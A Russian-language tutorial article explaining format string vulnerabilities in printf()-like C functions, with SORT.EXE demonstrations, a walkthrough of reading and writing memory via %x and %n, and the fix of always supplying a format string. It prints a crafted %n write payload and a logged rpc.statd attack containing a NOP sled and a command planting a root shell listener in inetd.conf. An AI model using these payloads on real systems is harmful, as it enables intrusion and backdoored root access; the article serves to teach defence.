Сообщений 2 Оценка 131 [+0/-1] Оценить |
Проблема Описание Защита Пример Послесловие Источники |
Кто бы мог подумать, что столь любимая всеми функция printf() может стать причиной проблем? Воспользовавшись программой, которая ошибочно использует printf()-подобные функции, злоумышленник может получить доступ к памяти потока/процесса/приложения. Это, конечно же, может помочь ему получить контроль над системой, если например, процесс запущен с правами root или администратора. После ошибки с переполнением буфера, ошибки, связанные с форматом строки, являются следующими по важности проблемами в программировании, поскольку позволяют злоумышленнику получить контроль над системой. Но если проблемы переполнения буфера широко обсуждали с 1996 года, на проблему с форматом строки обратили внимание, только начиная с 2000 года.
Думаю, всем известна такая программа как SORT.EXE в Windows. Тогда сразу и покажем проблему. В данном случае нам не так важно, что делает это программа, важно лишь, что на входе она ожидает в качестве параметра текстовую строку. Проведем два эксперимена
C:\> sort.exe “%x%x%x” |
На моей машине с русской Windows XP SP2 результат выглядит так:
7c812f3900Не удается найти указанный файл. |
Не совсем очевидно, что же это за результат такой.
А затем такую:
C:\> sort.exe “Hello world!%n” |
Результат этой команды более понятен, но до сих пор непонятно, почему же так происходит:
В обоих случаях внимательно посмотрите на результат выполнения! Далее я покажу, почему так происходит.
// правильно: “%s” – формат строки buffer printf(“%s”, buffer); // неправильно: buffer (сама строка) интерпретируется как формат строки printf(buffer); |
К сожалению, неверный вариант прекрасно компилируется даже без предупреждений. Компилятор «уверен», что в функции присутствует более одного аргумента. Но что еще печальней, этот неверный вариант еще и «работает». Программа будет запускаться и работать до какого-то момента. printf()-подобные функции предполагают, что присутствует аргумент, определяющий формат строки. Обычно это первый аргумент, заключённый в кавычки.
Многие программисты часто пропускают формат строки и просто вызывают фунцию, передавая ей буфер, который необходимо вывести. Программа интерпретирует сам буфер как формат этого буфера, т.е. программа выводит содержание буфера, как и хотел программист. К сожалению, это представляет потенциальную дыру для злоумышленника.
Давайте подумаем, что же всё-таки происходит, когда в программе используется неверный вариант использования printf()-подобных функций? В таком случае функция printf() предполагает, что buffer – это и есть формат строки. Это значит, например, что если злоумышленник загрузит в buffer строку типа «%d», функция будет предполагать, что это и есть строка формата, говорящая о том, что нужно напечатать целое десятичное число. ОК! Она так и попробует сделать. Но вот проблема, а где же взять-то это число? Правильно, функция printf() ожидает, что число это будет передано следом. Учитывая, что аргументы, с которыми вызывается функция, находятся в стеке, функция printf() должна «заглянуть» в стек и «взять» содержимое памяти, идущее следом за переменной buffer. Она так и делает. В результате выводится какой-то мусор, напоминающий адрес в памяти. Ура, мы напечатали мусор! Но подождите, что же это всё-таки за мусор? Посмотрим!
Чтобы более детально понять, почему так происходит, придется поплясать немного вокруг стека. Однако многие из нас не танцоры и не эксперты по стеку. Что ж, в данном случае нужно всего лишь усвоить, что там, где в программах ожидается пользовательский ввод строк с использованием кавычек (%x, %d и/или %n), всегда возникают проблемы, которые на руку злоумышленникам. В качестве примера возьмём функцию snprintf() и рассмотрим ее поближе. Почему я взял именно эту функцию? Потому что она позволяет контролировать количество выводимых символов. Итак:
// синтаксис функции snprintf snprintf(char *str, size_t size, constchar *format, …); // вот так её написал программист! // user_input интерпретируется как формат строки snprintf(buffer, sizeof buffer, user_input); |
Здесь первый аргумент – строка, куда будут записаны результирующие данные. Следующий аргумент – размер буфера, то есть количество символов, которые будут записаны. Ожидается, что следующим аргументом будет строка формата, выглядящая как-нибудь так: ”%d %c”, и поясняющая, как должны быть напечатаны символы. И далее следует произвольное количество аргументов, которые должны быть записаны в выводимую строку. Программист забыл указать формат строки, но программа будет работать, как ни в чём не бывало. Посмотрим какой неприятный эффект проявляется при этом.
main() { char user_input[100]; char buffer[100]; int x; … /* в user_input какие-то введённые данные */ … snprintf(buffer, sizeof buffer, user_input); } |
Злоумышленик может записать данные в переменную user_input и прочитать данные из стека, например, записав в переменную строку вида ”%x %x %x”. Когда в программе дойдёт очередь до вызова функции snprintf(), эта строка будет передана в функцию, интерпретирующую user_input как строку формата. А строка формата говорит следующее: напечатай три шестнадцатеричных числа в переменную buffer. Функция snprintf() «достанет» три значения из стека и загрузит их в переменную user_input. Соответственно, если где-то далее в программе осуществляется печать строки на экране, злоумышленник может увидеть содержимое буфера. Т.е. это означает, что мы можем просматривать содержимое памяти (стека) посредством ввода строки. Чудесно!
Следует сделать несколько замечаний по поводу функции printf(). Если где-либо в строке формата встречается директива ”%n”, функция сохраняет число символов, которые будут напечатаны в результате вызова. Но вот вопрос: а куда? Где будет сохранена эта информация? Давайте посмотрим на рисунок.
Правильно! Это число будет записано в памяти по адресу, переданному в качестве аргумента функции. Как видно на рисунке, в случае строки “Hello world!” это будет число 12. Т.е. мы просто передали функции в качестве аргумента адрес переменной x, затем функция напечатала строку и потом записала в переменную x число 12 – длину строки. Что же это нам даёт? Это означает, что мы можем писать в память, используя функцию printf(). Кто бы мог такое предположить?!
Попробуем, как же это будет примерно выглядеть в реальности. Предположим, злоумышленник в программе хочет прочитать/модифицировать значения переменных в памяти по адресу, например 0xbffffac0. По этому адресу может находиться достаточно важная информация: userID, trial period и т.д. Достаточно записать в буфер user_input следующую строку: \xc0\xfa\xff\xbf\%d%n, чтобы модифицировать данные в памяти по указанному адресу.
Но вернёмся к нашему исходному коду и очень подробно рассмотрим, что же будет происходить в стеке.
На рисунке изображён наш код и память (серым), которую злоумышленник хочет модифицировать/прочитать, а также направление заполнения стека. На следующем рисунке покажем расположение адресного пространства стека для локальных переменных из функции main().
На следующем рисунке изображён вызов функции snprintf(). Аргументы функции в стеке размещены в обратном порядке согласно конвенции о вызовах. Теперь посмотрим, что будет, если мы запишем в user_input строку, указанную выше.
Функция snprintf() сначала просматривает свои аргументы, чтобы найти строку формата. Но поскольку программист забыл указать строку формата, функция snprintf() думает, что user_input – это и есть строка формата. После того, как функция snprintf() нашла строку формата, она начинает сканировать её и находит нашу «странную» строку \xc0\xfa\xff\xbf, в которой говорится, что надо записать 4 ASCII-символа в buffer. Функция snprintf() интерпретирует символ (\) как escape-код. (x) означает, что число шестнадцатеричное, c0 – это эквивалент одного из ASCII-символов, которые будут записаны в buffer. Итак, мы имеем 4 группы по 2 шестнадцатеричных знака, что представляет собой 4 ASCII-символа. Далее, функция snprintf() находит в нашей строке %d, что говорит о том, что надо печатать десятичное число. Но какое?! Это число будет взято из стека. Пусть это будет число длиной в один знак, например, 8. Т.е. в buffer у нас уже должно быть 5 символов: 4 ASCII символа + целое число 8. На следующем рисунке наша строка записана в user_input.
// вот так раскроется функция snprintf(buffer, sizeof buffer, “\xc0\xfa\xff\xbf%d%n”); |
Теперь шестнадцатеричные числа записаны в buffer из user_input, как и ожидалось, то есть теперь у нас в buffer содержится c0faffbf.
Поскольку в нашей строке есть %d, то в результирующую строку также будет записано значение переменной x.
Ну а теперь немного магии! Следующая директива %n в user_input сообщает функции, что нужно загрузить число печатаемых символов – 5. Но в какую память?! Куда?! Логичный ответ: в переменную-аргумент, переданную функции snprintf(). Но вот загвоздка, а в какой аргумент? У нас нет дальше таких аргументов. Мы ничего не передавали больше. Но как было сказано выше, функция snprintf() решит, что это следующий адрес в стеке. А там у нас уже записано значение переменной buffer, в которой содержится наши шестнадцатеричные символы. Итак, функция snprintf() запишет число 5 в память по адресу 0xbffffac0. Ура! Получилось! С помощью строки ввода мы изменили содержимое памяти!
Так куда же теперь у нас указывает buffer? На память «Данные для изменения»!
Мы вывели 5 ASCII символов. Заметьте, что значение x всегда интерпретируется как один символ.
Итак, по сути, мы записали число 5 куда-то в произвольную память. А как быть, если надо записать большее число по определённому адресу? Выше описанная техника позволяет сделать и это. Фактически, эта техника позволяет записать любое (почти) значение в любое место памяти. Для этого можно использовать следующую директиву: ”%.[number]d” в переменной, которая будет использоваться в качестве строки формата. Функция snprintf() будет интерпретировать [number] как число записанных символов. Например, в случае строки ”c0faffbf%.255d”, функция snprintf() будет думать, что выведено 255 символов + наш адрес, т.е. всего 259 символов. Таким образом, мы можем загрузить число 259 в память по почти любому адресу! Заметьте, что адрес в памяти не может быть равен 0x00, т.к. printf()-подобные функции прекращают обработку строки, встречая null-символ (0x00).
Неплохой подарок хакеру всего лишь в одной функции printf()! Итак, подобная техника позволяет злоумышленнику:
Подобная техника была проверена на популярной программе WinRAR, а также на одной из моделей телефона Nokia – практически его «убивает» “%n”.
Собственно, защита от этого довольно проста: программист везде и всюду обязан явно указывать строку формата.
Приведу один из примеров атаки rpc.statd с использованием строки формата. Так получилось еще с середины 2000 года, что rpc.statd был просто окружён проблемами: rpc.statd обычно запускается с привилегиями root, что приводило передачу данных из сети пользовательской нагрузки в syslog без использования форматной строки.
Вот файл протокола:
Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname containing ‘/’: ^D^D^E^E^F^F^G^G08049f10 Bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f 20656d61 746e6f63 696e6961 2720676e 203a272f 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff7 0400000000000000000000000000000000000bfff70500000000000000000000000000000000000000000000000000000000000 <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> <90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90> K^<89>v <83><8D>/bin /sh –c echo 9704 stream tcp Nowait root /bin/sh sh –I >> /etc/inetd.conf; killall –HUP inetd |
Здесь злоумышленник с помощью строки формата перенаправил выполнение программы. Также видим инструкции NOP (салазки), запуск шелла, и строку переконфигурирования inetd.
Защита: если вы не используете NFS, удаляйте rpc.statd.
Теперь давайте вернёмся к началу статьи, и посмотрим, что же там у нас происходит с запуском SORT.EXE под Windows?
Давайте попробуем расширить строку и сделать следующее (а во время того, как Вы вводите эту длинную команду, задумайтесь об аргументе ”%n”):
C:\> SORT.EXE “%x%x%x%x%x%x%x%x%x” |
Эта команда выводит:
7c812f39007825782578257825782578257825782578256df8cНе удается найти указанный файл. |
А теперь еще раз, просто подумайте, что будет, если передать в качестве аргумента ”n”? Сколько символов будет напечатано? И куда будет записано количество выводимых символов? Подсказка: думайте о стеке! Ладно, хватит мучиться! Вперёд, вводим команду: C:\> SORT.EXE “%n”
Сообщений 2 Оценка 131 [+0/-1] Оценить |